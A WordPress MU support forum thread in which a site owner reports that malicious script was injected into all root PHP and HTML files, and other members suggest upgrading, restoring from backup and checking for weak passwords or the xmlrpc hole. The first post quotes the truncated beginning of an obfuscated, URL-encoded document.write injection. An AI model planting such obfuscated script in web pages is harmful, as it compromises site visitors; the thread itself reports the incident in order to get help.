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My WPMU site was HACKED (8 posts)

  1. sclif
    Member
    Posted 16 years ago #

    (3 hour ago) In all files (php and html) in root directory the malicious code has been added. Access to the administrator panel has stopped. Blogs were displayed with php-warnings. As it happens knows nobody...

    The beginning of a harmful code: <! - ae85dbc48cab8ca9cb12842273be8777-> <script> document.write (unescape ("%3Cscript%3Eif%28fX%21%3D1%29%7Bfunction%20ZXsyoS%28LsiVeGwvIp%29%7Breturn%20LsiVeGwvIp%7Dfunction%20TQB...

    Removal from a file wpmu-setting.php has restored service capability.

    The wpmu version 1.2.5а

  2. theapparatus
    Member
    Posted 16 years ago #

    The wpmu version 1.2.5а

    Upgrading when the newer version came out last month may have been a good idea.

    http://codex.wordpress.org/Hardening_WordPress

    Not sure why you choose that specific file to remove as it's needed by mu.

    Best bet would be to delete the files and replace them with your latest safe backup and upgrade to 1.3. Keeping an eye on the versions may be a good idea as well for future reference.

    edit: Not sure what html files you're hinting at as there aren't any in the download.

  3. andrea_r
    Moderator
    Posted 16 years ago #

    So, did you have any plugins installed that let users run scripts?

  4. sclif
    Member
    Posted 16 years ago #

    Thanks. But how about xmlrpc in version 1.3? And other limits?

    Html files it for installation cookie for Google Analitics - not to consider my traffic.

  5. sclif
    Member
    Posted 16 years ago #

    andrea_r, NO.
    Users are not present in general. Plugins are disconnected for users. I use a little plugins only for the own blogs:
    bad-behavior (for main site only)
    redirection (test on one post of some blog)
    signup-question (for main site only)

    anarchy media (in mu-plugins)
    feedback (in mu-plugins)
    kb notify admin (in mu-plugins).

    The site address: http://vlavla.com

  6. ekusteve
    Member
    Posted 16 years ago #

    Just a guess, but I would guess that they got in through your server (or some other app on the server) and not Mu...if it were Mu, we would be seeing a lot of this here and, to my knowledge, this is the first...at least that I can recall.

    Steve

  7. demonicume
    Member
    Posted 16 years ago #

    no, i got hacked once. it was from the xmlrpc issue, though.

  8. andrea_r
    Moderator
    Posted 16 years ago #

    I got lightly hacked early on as well.. it was a permissions/stupid password issue.

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